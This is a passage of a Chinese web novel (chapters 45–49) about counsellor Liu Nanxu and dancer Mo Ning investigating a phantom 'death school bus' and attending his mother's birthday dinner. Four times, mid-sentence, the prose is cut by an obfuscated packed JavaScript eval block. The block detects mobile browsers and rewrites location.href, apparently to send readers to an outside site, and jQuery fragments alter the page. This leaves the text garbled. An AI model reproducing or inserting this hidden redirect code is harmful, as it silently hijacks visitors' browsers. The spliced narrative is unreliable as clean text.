马路上还有不少人流、车流,所以这个时间段车位不算难找,柳南絮把车稳当停好,开始翻看之前的记录整理思路,也算打发时间。
翻到最后,柳南絮想到了路灵灵,这是他的来访者,哪怕是线索,也不能对外分享,除非经过她本人的同意。
只是……小姑娘抵触心理非常强,根本不愿意把心里话说出来,更别说让她同意对外分享了。
柳南絮本来确实想的是不再对莫宁有线索上的隐瞒了,现在基于路灵灵这里有一条线索,他根本做不到,琢磨出来保证的话顿时化成一团烟雾,很快没了踪影。
柳南絮把座椅往后压了点,胳膊搭在额头上,闭着眼睛想:步步艰难,只能走一步看一步了。
天色在等待中彻底黑透,路边的两排路灯早早开始工作,任劳任怨在黑暗中散发着一丝丝光亮。
归家的人归家,忙碌的人忙碌,人流、车流彻底变松散。
“咚咚咚”三下闷响,柳南絮被惊醒,坐直扭头看去,见到是自己等的人,说:“没锁,直接开。
”
莫宁张了一下嘴,但是声音太小,听不清楚,只能根据嘴型判断出是个“哦”。
她一拉开车门,就冲柳南絮打招呼,道:“你好啊!小柳同志。”
不难看得出,莫宁心情很好。
柳南絮被感染了,心里明明压着许多事,偏偏涌出好心情来。
他觉得自己真是要疯了。
柳南絮想提醒莫宁正事要紧,目光和她的目光相触时,想法顿时发生改变。
算了,疯就疯吧!
“这么开心,分享一下?”
莫宁此时显得超好说话,要分享就分享。
“我老板今天表扬我了,说我今天表现很好,工作能力很强,让我下个月跟集训班的老师。”
柳南絮却没有那么开心,确认道:“所以,从下个月开始,你每天都是这个时间点下班?”
莫宁还沉浸在即将升职的喜悦中,说:“肯定呀!毕
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14187556|150716||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
竟那可是集训班,时间紧,任务重,要多花时间的。”
就莫宁现在这高兴样,等她自己反应过来不知道要到什么时候去了,柳南絮不再绕弯子,问:“平时你都是坐公交上下班,你有没有想过,这个时间点下班的话,你怎么回家?”
莫宁被柳南絮这么一点,顿时傻乐不下去了,幡然醒悟地说:“我把这给忘了,那么远,我徒步要走到天亮了,但是……”
“但是?”柳南絮追问了一句,他原本以为莫宁会说“热爱这份工作”之类的话,没想到莫宁是在不舍得工资。
“但是当集训班的助理的话,工资也会跟着涨的。”莫宁说着,又低下了头,“更何况,我已经答应老板了。”
既然已经答应,也没办法了,柳南絮不再多说,直接道:“算了,我帮你好了。”
莫宁更加惊喜,刚低落不超过三分钟的心情瞬间恢复好,好奇地问:“怎么?难道你要接送我上下班?”
柳南絮故意钓着她,反问:“你先说说为什么我打电话的时候没接,是在上课吗?”
要是柳南絮不问,莫宁还真没记起来要解释。
“我还以为你不在乎一通电话呢!”莫宁嘴上打趣完,还准备伸手拍拍柳南絮的肩膀,只是见人眼神逐渐变冷,及时收敛住,开始说明缘由。
其实也没什么别的原因,就是手机开了静音放在窗台上没听到电话。
当时虽然已经下课了,但还是会有学生找老师指导,所以没工夫看手机,等莫宁看到的时候立马回拨过来了。
莫宁还惦记着“怎么下班回家”这件事,一解释完,便又旧事重提:“柳老师,你该不会真的打算接送我上下班吧?你这样可是会让我误会的哟!”
她还没把话说完,柳南絮的脑袋就重重磕在了方向盘上,表情很是痛苦。
莫宁只是开个玩笑,完全没想到会把柳南絮气成这个样子,刚要认错,仓促记起刚才自己说了不该说的三个字,顿时更加慌了。
“柳南絮,你还好吗?实在对不起,我真的只是一时间给忘了,怪我嘴快。”
柳南絮还咬着牙,硬是从牙缝中挤出几个字安慰莫宁,道:“没事,我缓缓就好了。”
莫宁见柳南絮闭着眼睛,眉头紧皱,还用手掌按压着太阳穴,不敢再说话打扰,生怕哪句话又刺激到他。
五分钟后,柳南絮用手撑着方向盘坐好,过程中不小心触碰到喇叭,引得汽车发出一阵突兀的鸣笛。
夜幕被惊扰到了,一轮不算圆的月亮踢开云彩懒洋洋地探出头来,俯视着傍晚的人间百态。
莫宁迟疑一下,还是问道:“我看你很严重的样子,不用去医院检查检查吗?”
脑袋已经不疼了,柳南絮轻咳一声,清清嗓子,说:“不用,我觉得就算去检查,也查不出是什么原因,只要你不那样称呼我,我就没事。”
“没问题,以后我在你面前一定小心说话。”莫宁紧绷着脸,极为严肃地保证道。
46. 第四十六章
柳南絮险些被逗笑,再次清清嗓子,问:“刚才说到哪里了?”
问完,不等莫宁回答,便自己回答自己,说:“说到‘让你误会’了,”柳南絮觉得莫宁还真挺会想的,“千万别误会,我只是打算给你找辆代步工具。”
“别吧!”莫宁受宠若惊地拒绝,“我还没有考驾照。”
感情这是认定自己会送她汽车了。
柳南絮简直无语,吐槽道:“我发现你不只是‘挺会想’,还‘挺敢想’啊,你脑子里面装的代步工具除了汽车,没有别的了?”
“说的也是哈!那电动车?”莫宁再次猜测,完了开始观察柳南絮的表情,可惜什么都没有发现。
柳南絮绷着笑,逗她:“在我脸上看到了什么?”
“帅气。”莫宁回答得很快,且完全不心虚,毕竟这是事实。她甚至开始想柳南絮为什么没交过女朋友,单凭这张脸,这事都很不合理。
柳南絮被盯得不太自在,提醒莫宁开始讨论正事。
不过一眨眼,莫宁立刻收好嬉皮笑脸的样子,认真听柳南絮讲述那名只见过匆匆几面,名叫“福安安”的小男孩的经历。
听完后,莫宁内心最柔软的部分被狠狠触动到,眼泪奔涌而出。
福安安和宋彩彩相遇在秋天,缘分终止在夏天。
虽然听起来有将近一年的时光,可是宋彩彩在那么远的地方上学,一年能回来的次数根本没几次,除去她的个人时间,再除去她陪伴养父母的时间,还要除去陪伴全健福利院中其他小朋友的时间。
仔细算来,他们两个人可以相处的时间少之又少。
偏偏就是这少之又少的时间,让福安安获得了新生,以至于会用余生去怀念那段时光。
莫宁并没有把福安安的经历和自身的经历争出个高低,毕竟每个人都有不同大小的伤痛,这些伤痛都值得尊重,所以,她流露出来的情感完全真心实意。
柳南絮讲完便闭上了嘴,没有阻止莫宁宣泄情绪,只是把抽纸递给了她。
莫宁一手抱着抽纸,一手擦着眼泪,哽咽地说:“好吧!我就不和他计较他对我那么没礼貌的事了。”
柳南絮想了想,记起上周二,莫宁弄湿衣服,福安安不屑又嫌弃的眼神,问:“这么记仇?”
“是啊!之前不知道吧!”莫宁又抽了一张纸,捏着鼻子说,“现在知道也不算晚,以后可要注意点,别让我在小本本上给你记一笔。”
柳南絮等莫宁整理好仪容,才和她真正开始分析线索,问:“所以,你现在有什么想法?”
刚才柳南絮在讲的过程中,把重点都顺手记下了。
现在莫宁怀里不光抱着抽纸,还抱着软皮本子,翻看过后,说:“我们两个见到的死亡校车都是会移动的,以至于我们忘了,不对,也不能说是忘了,只能说是没顾得上寻找死亡校车的案发地点。”
之前他们已经讨论过,一致认定死亡校车的惨状是人为。既然是人为,就肯定会有凶手,肯定会有案发地点。
“嗯!所以呢?”柳南絮知道莫宁打算说什么,但他没有抢先说出来,而是引导莫宁继续往下说。
“所以,我认为,福安安看到死亡校车的地方就是案发地点。”
莫宁的视线落在软皮本子上的“没什么人经过的小道”这句话上。
“虽然他没有说具体的位置,但是死亡校车行驶的路线图就那么短,根据福安安的描述,我猜测,是南巷街。”
柳南絮在听路母讲述路灵灵遇到的事情的时候,就已经得出了这个结论,今天找过福安安后,使得他内心的结论更加强有力。
想到这里,柳南絮不免觉得真是万幸,要不是有福安安,他还真没办法告诉莫宁第一案发现场的事。
“我也猜测是在南巷街。”
得到认可,莫宁有点小得意,得意完了又提出问题,道:“可是,为什么福安安会记得?”
这个问题的答案,柳南絮也很想知道,说:“这个目前我还不清楚,初步猜测,知道死亡校车内情的人之间应该存在某种联系,但至于联系是什么,还要继续寻找线索。”
莫宁半点都不受挫,又问:“那他也像咱俩一样能在起雾天气看到死亡校车在马路上活动吗?”
这个问题,柳南絮确实忘了问。他一边往手机备忘录上记,一边说:“下次再去的时候我问问。”
于是莫宁紧接着问:“下次指的是下周二吗?”
柳南絮了然,莫宁这是想跟着去了,解释道:“全健福利院这几天有春游活动,所以下周二没办法去,这样,我预约好了之后和你说。”
“好。”莫宁说着,把目光又落回软皮本子上。
现在手里面掌握的线索确实在不断地增加,但是谜团同样也在增加,所以导致问题看起来毫无进展。
翻看着翻看着,莫宁又开始苦恼起来,总觉得这些线索是一截一截的,根本连接不起来,那些关键的线索到底是什么呢?
车厢内一没了说话声,气氛就开始变得不太自在,莫宁从苦恼中回神后双手把软皮本子递还给柳南絮,简单道过谢连手都不知道怎么放比较合适。
不光是她,柳南絮同样也是。
由两人强装镇定活跃起来的气氛顿时变得尴尬异常,昨天晚上的事就像一根横生在他们之间的刺。
于柳南絮来说,要顾及路灵灵这位来访者;于莫宁来说,要尽量维护自己支离破碎的安全感。
因此根本没办法摊开来说,只能任由这根刺横生在原地,无法忽视,却又触碰不得。
打断尴尬的是一阵手机铃声,铃声本身的音量并不大,只是在安静的环境下尤为突兀,显得很大而已。
柳南絮当着莫宁的面接通,许静关心的声音立刻传来。
“儿子,都这么晚了,你什么时候忙完回来呀?我和你爸还等着你回来吃饭呢!”
“啊?”柳南絮看了
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14187557|150716||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
一眼时间,说话语气掺杂了点着急,“你们怎么不先吃啊!我这就回去了,你们先吃。”
许静反倒很开心,说:“好,那我们等你回来。”
挂断电话,柳南絮很疑惑,之前许静和柳洪兵从来没有等他回家吃饭等到这么晚过,今天这是怎么了?
他没能想出原因,倒是莫宁拍了一下手,说:“我想起来了,今天是许阿姨的生日。”
“我妈的生日?”问完柳南絮便愣住了,还真是,要不是莫宁提起,他真不一定能想起来。
“哎呀!我说今天忘了点什么。”莫宁没看柳南絮,而是打开了手机查看余额,嘴里还在都嘟嘟囔囔,“真是太不应该了,要买点礼物才行。”
柳南絮提醒莫宁,道:“这个时间点,店铺大多都关门了。”
刚因为余额稍稍放下去的心,又被柳南絮的话提了上去,脱口问道:“那怎么办?”
“没事儿,平常心就好了。”柳南絮发动车子,“我平时没什么时间,再加上不知道该说点什么,所以和她说的话很少,你在的话,她会很开心的。”
莫宁被安慰到了,附和:“你的话确实很少,打小就是,也就在我面前话多点,显得有点人情味儿。”
“莫宁。”
被柳南絮很认真地喊了一句,莫宁还以为自己哪句话又说错了,紧张兮兮看向他,而后听见柳南絮有些歉意地说:“你说的那些我们两个小时候的事,我相信,只是现在还没想起来。”
莫宁有些懵,他这说话的语气怎么歉意中还带了一丝……委屈?
经过红绿灯的时候遇到红灯,稀疏的车流一辆辆停稳,在等绿灯的几十秒中,柳南絮垂着眼尾看向莫宁。
莫宁一阵恍惚,断定柳南絮这是在伤心难过,“知心大姐姐”的人设立刻窜出来,说:“毕竟这也是没办法的事,慢慢来吧!”
柳南絮把目光移走,摆放到前方不断跳动的红色数字上,说:“是啊!记忆被抹除根本不是我们能控制的。”
随后,红灯变成绿灯,只见柳南絮一边启动车子,一边似是漫不经心地再次开了口,问:“你相信自己也有缺失的记忆吗?”
原本莫宁以为是自己的话起到了作用,正准备傻乎乎接着安慰,语言在大脑中还没排列好,便被柳南絮下面的问题砸晕了脑袋,脑细胞死光了才堪堪憋出一句:“不能吧?”
不但没气势,还是反问句。
柳南絮没有再次追问,毕竟要是记忆真的被抹去了她本人也不会知道,就像他当初一样,只是感觉有缺失的记忆,并不能十分确定。
莫宁坐在副驾驶上把自己二十年的人生在大脑中仔仔细细过了一遍,得出的结论依旧不怎么敢断定自己没有缺失的记忆。
因为她虽然有点小记仇,但记性其实不怎么好,做不到发生的每一件事都记得。
想着想着,莫宁渐渐开始怀疑自己有找不到的记忆,而且还是很重要很重要的那种。
47. 第四十七章
“莫宁,莫宁?”柳南絮喊了几声不见人应,伸手在她面前摆了摆,“回回神。”
莫宁没有被吓到,愣愣地问:“什么?”
柳南絮指了指一间小店铺,说:“那家花店还亮着灯,我去买束花,你去不去?”
莫宁现在脑子没办法思考,下意识拒绝,于是得到了一个原地看车的任务。
花店的灯光全都是暖色调,在左右两边店铺都是漆黑的状态下显得尤为亮眼和温馨。
柳南絮还没走到店门口,暖色调的灯光就“唰”地一下全都熄灭了。
这一下,不光惊扰到了柳南絮的脚步,还惊扰到了莫宁混沌的思绪。
莫宁的目光下意识寻找过去,最终定格在柳南絮的身上。那个刚才还在自己身侧称不知道在妈妈面前说点什么的人,现在正站在花店老板娘的面前相当淡定地解释着什么。
连一分钟都不到的时间,暖色调的灯光重新亮了起来。
莫宁的眼睛仿佛被看到的景色烫到了,瞬间彻底清醒了。
醒了便又开始胡思乱想,这次她想的是:柳南絮这个人,从小就给人一种很可靠的样子,柳老师吗?我好像真的有说过让他当老师哎!教书育人,确实很适合他,虽然他还是很让我讨厌。
莫宁这样想完,等的那个人也刚好从花店里走了出来。
只见柳南絮手上捧着一束玫瑰,背后是闪烁的小灯光,美好得简直要让人浮想联翩。
不过很可惜,抵达家属楼的路程实在短,并没有留给莫宁太多浮想联翩的时间。
站在柳南絮的家门口,莫宁更慌了,自己又是空着手来的,看起来真的很像是大半夜找上门来蹭夜宵吃的。
柳南絮发现了她的局促,偏头轻轻地笑了一下,头再扭过来时表情已经冷了起来,只是把手里的玫瑰花递给了她。
莫宁差点没反应过来,明白柳南絮的意思后连忙说:“不用了,这是你给许阿姨的心意,比起我,还是你送她更开心。”
柳南絮觉得莫宁这个人还真是别扭,他甚至能想象出来莫宁空着手进屋后心里面会有多么慌张,于是开口提议:“要不你给我一半的钱,就说是咱俩送的,怎么样?”
莫宁在心里挣扎了一会儿,最终妥协地接受建议,道:“是个好办法。”
“那你拿着给我妈,我掏钥匙开门。”说着,柳南絮就把玫瑰花塞到了莫宁的怀里。
不等柳南絮把手伸进口袋找钥匙,门就从里面被推开了。
“听声音就知道回来了。”
柳洪兵端着一杯浓茶吊着神儿,见到回来的人中还有莫宁一下子就不困了,乐呵呵地继续念叨。
“我这等的喝茶都找不到嘴在哪儿了,可算把人给盼回来了,我还说呢!总共才那么点的路,怎么会要这么长时间?原来是接人去了。”
厨房的灶上还小火煲着汤,许静一直在守着,听见动静连忙擦着手出来,先冲柳洪兵摆了一下手,对莫宁和柳南絮说:“哎呀!快来吃饭。”
莫宁走近许静,把玫瑰花递过去,笑着祝福她生日快乐。
许静眼睛都要笑没了,眼角的鱼尾纹分外明显,拉着莫宁直夸好姑娘。
莫宁不敢把功劳占完,更何况虽然说是一人一半,但她还没有把自己要付的那一半钱转给柳南絮,赶紧解释说是和柳南絮一起买的。她解释完又用目光去寻找柳南絮,想让他说一句,这才发现柳南絮被柳洪兵拽到客厅说话去了。
许静自动开启脑部模式,笑意更浓,嘴上虽然什么都没说,心里却跟明镜似的。
柳洪兵拉着柳南絮到客厅的最边边上,低声问道:“儿子,你给老爸说实话,你真的是去忙工作去了,不是去接人小姑娘去了?”
“爸,你听没听过一句话,”柳南絮在柳洪兵好奇的目光下幽幽说道,“兔子不吃窝边草。”
柳洪兵急得直想跺脚,问:“这哪儿是窝边草?有什么关系?”
“人是我妈妈的好朋友的女儿,还不叫窝边草?还没关系?”柳南絮的灵魂两问为自己争得了三秒的清静。
“这,这……”柳洪兵卡顿了一下壳,恨铁不成钢地说,“这算哪门子的关系,那么远,更何况我都不记得你妈和她说的那些事,难不成你记得那姑娘小时候喊你‘哥哥’?”
柳南絮当然不记得了,可面对柳洪兵的询问,不知道为什么,就是想要嘴硬,说:“记得。”
“嘿!你这孩子,我告诉你,别骗你老爸我啊!”柳洪兵其实已经被柳南絮给骗住了,只是顺嘴提醒。
柳南絮敷衍地“嗯”了一下,要起身离开,被柳洪兵又拉到沙发上坐下。
“我就是觉得奇怪,你妈和小姑娘俩人那天哭得简直要变成泪人,她们说的那些事按理来说我应该也在,可不管怎么想,还是一点印象都没有。”
“你是不知道,你妈前几天给尚玉珍打了通电话,俩人足足煲了五个小时的电话粥,最后挂断电话还是因为欠话费了。”
“这还不算完,半夜三更的,你妈不睡觉,从床上坐起来抱着那铁盒子懊悔说怎么就把那么好一朋友给忘了。”
柳南絮很同情自己这位不知道内情,却深受影响的爸爸,问:“你就干陪着她懊悔,不劝她睡觉?”
“还说呢!本来我睡得好好的,呼噜都打起来了,你妈硬是把我从周公那里给抢了回来,拉着我在床上坐着,让我听她的懊悔。”
柳洪兵满脸写着“无语”两个大字。
“总之就是,那些事我半点没想起来,我现在都快怀疑你妈被下药了,根本从来就没有发生过那些事。”
柳南絮听完都快笑了,保证道:“爸,莫宁说的都是真的,我妈没被下药,放心吧,你不记得可能是因为还没到时候,或许以后哪天突然就想起来了。”
柳洪兵似懂非懂,把儿子的话总结了一下,问:“就跟那武侠小说里面的,主角功力到了一定的程度,自
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14187558|150716||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
动突破升级了一样吗?”
“差不多是这个意思。”柳南絮还真希望就是这个样子,干等着就能破除死亡校车的怪象。
但根据莫宁等了这么多年的经验来看,“干等着”这一个办法根本不成立。
这一顿生日宴虽然很晚才进行,但好在没人缺席。
许静脸上一直挂着笑容,柳洪兵见许静开心,便也开心,一开心便要喝酒,结果一桌子人就他喝了酒,还把自己给喝醉了。
吃饱饭,柳南絮负责开车把莫宁安全送回家,许静负责在家照顾柳洪兵。
夜晚的风徐徐从身上拂过,单薄的外套刚够遮挡好凉意。
莫宁不愿意让嘴巴闲着,又开始追问没得到答案的问题。
“柳南絮,所以你打算送我的代步工具到底是什么啊?”莫宁问完先自己猜测,“别是辆自行车吧?”
柳南絮做出惊喜的表情,道:“哎!你还真别说,确实……”
莫宁像是接受了事实,认准答案就是“自行车”,连话都不愿意听完,打断问道:“你要送我自行车的话,我能转手卖掉吗?”
“啥?”柳南絮抽空瞥了莫宁一眼,实在好奇她是用什么表情把这种话说出来的,“我这还没送呢,你就说这话觉得合适吗?”
“确实不太合适,我这不是想着把自行车卖了,再添些钱买辆电动车嘛!”
莫宁越说越没气势,在被柳南絮冷“哼”一声后,气势又瞬间点燃起来,摆出事实,说道:“我上班的地方那么远,我骑自行车都要蹬到什么时候去了,我这不是想着不浪费嘛!”
柳南絮怀疑如果莫宁说话的时候是站着的,两只手肯定叉到腰上了,有意逗她,说:“要是不想浪费,你完全可以不让我送。”
莫宁把厚脸皮贯彻到底,回:“但是你硬要送的话我也不好拒绝啊!这不是想着提前问问你的意见嘛!”
柳南絮有点说不出话了,足足憋了将近十秒,总算憋出来了:“莫宁,我发现你这人还真是挺有意思的。”
他说这种话的本意是不想让气氛冷下去,不曾想倒让莫宁多想了。
莫宁当即就反问:“你是不是觉得我很会占小便宜?”
“我可没有这样觉得。”天地良心,柳南絮就差举手发个誓了。
莫宁撇撇嘴,也不知道信没信柳南絮的话,反正表情看起来毫不在意,还说:“有便宜不占王八蛋,我又不是傻子,这年头挣个钱多不容易啊!”
这逻辑……
到了“镇东村”,柳南絮依旧是停好车,徒步把莫宁安全送回了家。
大铁门从里面落了锁,护花使者却没有立即离开,直到大门上方的声控灯收敛起白光,柳南絮才迈开脚步。
只不过,他行走的方向并不是马路边,而是隐在黑暗中显得尤为望不到尽头的麦田。
当推断出“南巷街”是第一案发现场以后,柳南絮再不觉得在那条街道上可以松懈了。
48. 第四十八章
大概推断出来的有点突然,导致柳南絮一时片刻没能找到可以放松的地方,直到大铁门落锁的声音响起,让他突然想到不久前来这里看过的麦田。
这边的环境不比家属楼那边,再加上现在夜色更浓了,导致晚风特别嚣张,披着一身黑来回乱撞。
说实话,身上还真有些凉。
柳南絮尽量无视凉意,把视线投放到麦田中,试图寻找到隐藏在里面的坟堆。
凭借优秀的视力,他找到了很多,只是不知道所看到的里面有没有张子晨小朋友睡觉的地方。
有太多太多个“不知道”了,搅得人脑袋疼。
除去疼,更多的是疲惫。
这种疲惫不是因为劳累引起的,而是因为无力。
柳南絮轻轻叹了一口气,大抵是周围太过寂静,导致原本很轻的叹气声被放大。
他先是有些不好意思地摸了摸鼻尖,而后蹲在了地上,以此来减少自己的存在感。
在夜幕的遮拦下,柳南絮迅速进入思考的状态。
自己和莫宁现在的方法是先从受害者入手,把九位受害者全都调查一遍后再往下进行。这种方法如果在可以调查居民档案的情况下或许是个不错的办法,但对于他们来说,这个办法过于需要运气。
这段时间,往深层次想的话,运气还真挺不错的,就像是有一双无形的大手在推动着人与人之间的缘分向下进行一样。
只是大概是他太过心急,觉得进程太慢,运气还不够。
于是柳南絮开始想:如果抛弃原本的笨方法,不从受害者层面进行调查,换一种思路,从凶手的作案动机入手呢?
可惜,根据现在掌握的所有线索,并不能判断出凶手准确的作案动机。
浓雾天气,南巷街,死亡校车里面的惨状……
不论是从案发时的天气,还是从第一案发现场,亦或是从受害者多达九人的人数上看,凶手都不像是一时兴起的报复社会,倒像是早有预谋。
既然如此,会是针对性的行凶吗?
那么,凶手又到底是在针对谁呢?一个人还是多个人?
难道是仇家?
这个思路也不简单,绕来绕去,还是要先调查清楚受害者的身份。
既然如此,在不想坐以待毙完全只凭借运气找上门的情况下,就要学会主动出击。
柳南絮站起来,跺了跺蹲得有点麻的脚,脑海中浮现出几个人,宋彩彩、江玉蓉的孩子、路灵灵同小区的好朋友、吴老师的大女儿、赵芹的孩子。
根据现在掌握的线索,可以肯定宋彩彩和江玉蓉的孩子张子晨是死亡校车上的受害者。
如果路母的话完全属实,路灵灵同小区的好朋友几乎已经可以确定和死亡校车有关了,接下来只能看路灵灵什么时候愿意说了。
不过就算她说了之后,因为存在咨访关系,也还是不能告诉莫宁。
至于吴老师的大女儿和赵芹的孩子,目前都还只是停留在“怀疑”阶段,要打探一番才能确认。
两边比较了一下,柳南絮决定等有时间的话先打探吴老师的大女儿,毕竟离得近。虽然和赵安梦是同事,但是应该不会有吴老师那边好打探。
想到赵芹对自己的态度,柳南絮苦涩地笑了一下,心想:任重而道远啊!
晚风不知道疲惫,还在胡乱晃悠,如同没头苍蝇一样。
柳南絮掏出手机按亮,手机系统识别了周围的环境,自动把屏幕的亮度降到最低,但是由于眼睛在黑暗中看得时间太长,仍旧觉得刺眼。
在亮光下显示的,是一个要赶快回家上床睡觉的时间。
今天的思考先到这儿。柳南絮如此想着,在手机上点了一下“手电筒”。
随着点击,圆形状的光束从手机背面钻出打在坑坑洼洼的小路上,带着拥有目的地的人往马路边走去。
夜色由浅变重,再由重变浅。
不过因为是周日,路上少了赶着上学的学生和一部分着急上班打卡的社会人,道路交通并不拥挤。
许静就属于不用着急上班打卡的那一部分社会人其中之一,但还是一大早起来做饭。
柳洪兵和柳南絮俩人吃完饭一前一后出门上班,原本在慢慢悠悠吃饭的许静急急起身喊下柳南絮,到厨房把热着的一盒牛奶塞给他才让人走。
为此,柳洪兵还吃醋了,又退回到屋子里赖着不肯上班,非要许静给他也热一盒。
柳南絮没眼看,揣上热牛奶先走一步。
他到心理咨询工作室时离上班的时间还有一段,其他的同事都已经到齐了,还齐聚在一楼聊天。
李乐小姑娘一边往嘴里塞包子,一边灵魂询问刘景,道:“老板,我上班的时间真不能和柳老师、安姐一样吗?八点上班简直让我梦回学生时代起大早赶早八的画面,更何况我自己一个人很孤单的好吧!”
坐在沙发上的刘景反问:“什么孤单,我不是也八点前到吗?”
李乐用力嚼着包子,心里偷偷想:你只会监督我多看书,少追剧,在还不如不在。
等包子咽下去才说:“就是说嘛!咱们干脆都八点半上班,那样不是挺好的吗?”
“小李,不对啊!”刘景面带微笑,说出来的话半点都不见和善,“我记得你投递的简历上面写的有‘责任心很强’,怎么能被区区早起打败呢?”
李乐本来就知道讨价还价没用,更何况她本来就不占理。
在面试的时候刘景很明确地告知了上班时间,李乐当初为了得到这份工作答应的要多痛快有多痛快。
“是吧!我也觉得不能,区区早八而已。”李乐在勇敢尝试过后坦然接受了现实,并在心里吐槽刘景为“万恶的资本家”。
半道旁观的柳南絮不用问也知道是个什么情况,肯定是李乐早上起床晚了,没时间买早饭,估计她嘴里现在吃的包子都是赵安梦给的。
刘景对李乐的话相当满意,又说了一大段类似画大饼的话警醒李某员工好好工作,不要整天沉迷在明星的
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14187559|150716||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
美色中。
柳南絮对他们聊的话题不太感兴趣,见李乐可怜兮兮地吃着包子,便把被许静塞到口袋里面的热牛奶递给她,随后在李乐感动的道谢中同刘景和赵安梦打了声招呼往二楼走。
赵安梦见柳南絮要走,脱口而出一句:“等一下。”
闻言,柳南絮把要往台阶上踩的脚收了回去,转身问:“怎么了?”
赵安梦突然露出不好意思的表情,别别扭扭地说:“柳老师,可不可以请你吃个饭?”
柳南絮大概猜到会是什么原因,所以没拒绝,道:“吃饭没问题,不过还是我请吧,本来也是要请你吃饭的。”
赵安梦想到昨天的消息,脸上的不好意思更重了,尴尬地笑了笑,才说:“那什么……昨天实在是……”
柳南絮不等赵安梦把话说完,生生打断她,问:“什么时间?”
“我请,我请,如果可以的话,今天晚上怎么样?”赵安梦说完又连忙补充,“如果你有事要忙的话,等你有空随时都可以。”
柳南絮点点头,说:“今天晚上有时间。”
两人相当顺利地商定好,柳南絮再次迈出步子往楼上走。
完成了赵芹给的任务,赵安梦松了一口气,感觉浑身轻松不少,脸上的尴尬和不好意思褪去,只剩一个大大的笑容挂在上面。
李乐敏锐地嗅出八卦的味道,冲着赵安梦挤眉弄眼,好奇问道:“安安姐姐,你和柳老师,什么情况?”
赵安梦被李乐喊得鸡皮疙瘩掉一地,当即除掉她不切实际的猜测,说:“别瞎想,请他吃饭是因为昨天去福利院的事。”
这话听起来有问题又像没问题,李乐做出思考状,两秒过后知道不对劲的地方在哪里了,追问:“那也不应该啊!柳老师昨天能进全健福利院是因为蹭了你的预约,就算请吃饭也应该是他请你,为什么你要请他吃饭?”
赵安梦没想好怎么说,好在刘景开口解围:“小赵还专门给你带了包子呢,这是为什么?”
“因为安姐人美心善。”李乐说的要有多么理直气壮就有多么理直气壮。
刘景顺着她的话说:“所以她请小絮吃饭也是这个理由。”
李乐挠了挠头发,问:“这能一样吗?”
“怎么不一样?”刘景站起身,指了一下钟表,“别拉郎配,专心工作。”
之后刘景和赵安梦一前一后上了二楼,留李乐自己一个人在前台吃凉透了的包子。
柳南絮不知道后面的事,一进办公室就给莫宁发消息,先问她晚上有没有时间。
莫宁的消息来得很快,表示有时间,还反问怎么了。
柳南絮就把晚上和赵安梦、赵芹吃饭的事告诉了她,最后问她去不去。
这次的消息来得更快,简简单单一个“去”字。
柳南絮打了一个“好”字发过去,然后退出聊天页面,打算放下手机开始准备工作,结果聊天页面刚退出去,对面又来了新消息,他只好重新进入聊天页面。
49. 第四十九章
最后那个白色的聊天框中写着:你记得提前和她们说一声我也要去,不然我怕第一次见面就尴尬。
看完消息,柳南絮笑了,回复过去一个“行”。
在舞蹈教室的莫宁看到消息后撇了一下嘴,小声嘟囔道:“还真是冷淡。”
教室里面已经有五六个早到的学生开始压腿了,姑娘们还以为莫宁是在和她们说话,于是有人追问道:“莫老师,你刚才说什么?声音太小了,我没听清。”
“啊?”莫宁猛地抬起头,就像上课偷玩手机被抓到一样紧张,“哦!没事,没事,我就是回个消息,你们继续。”
有些行业恰恰是在别的行业都休息的时候忙起来的,莫宁实习所在的舞蹈机构是这样,柳南絮工作所在的心理咨询工作室也是这样。
线上咨询一个接着一个,赵安梦想抽空把“柳南絮答应晚上一起吃饭”这件事告知给赵芹都没找到时间。
中午下班,她正瘪着肚子点外卖的时候一通电话弹出来,是赵芹打来的询问电话,赵安梦这才终于把结果汇报过去。
可以很清晰地听见,赵芹在电话那边得知柳南絮同意后很重地吐了一口气,先自言自语念叨了一句“太好了”,随后才说:“我去订餐厅,定好后给你发消息。”
电话迅速挂断,把赵安梦的一个“好”字牢牢挡在原地,再传不到网络的另一端。
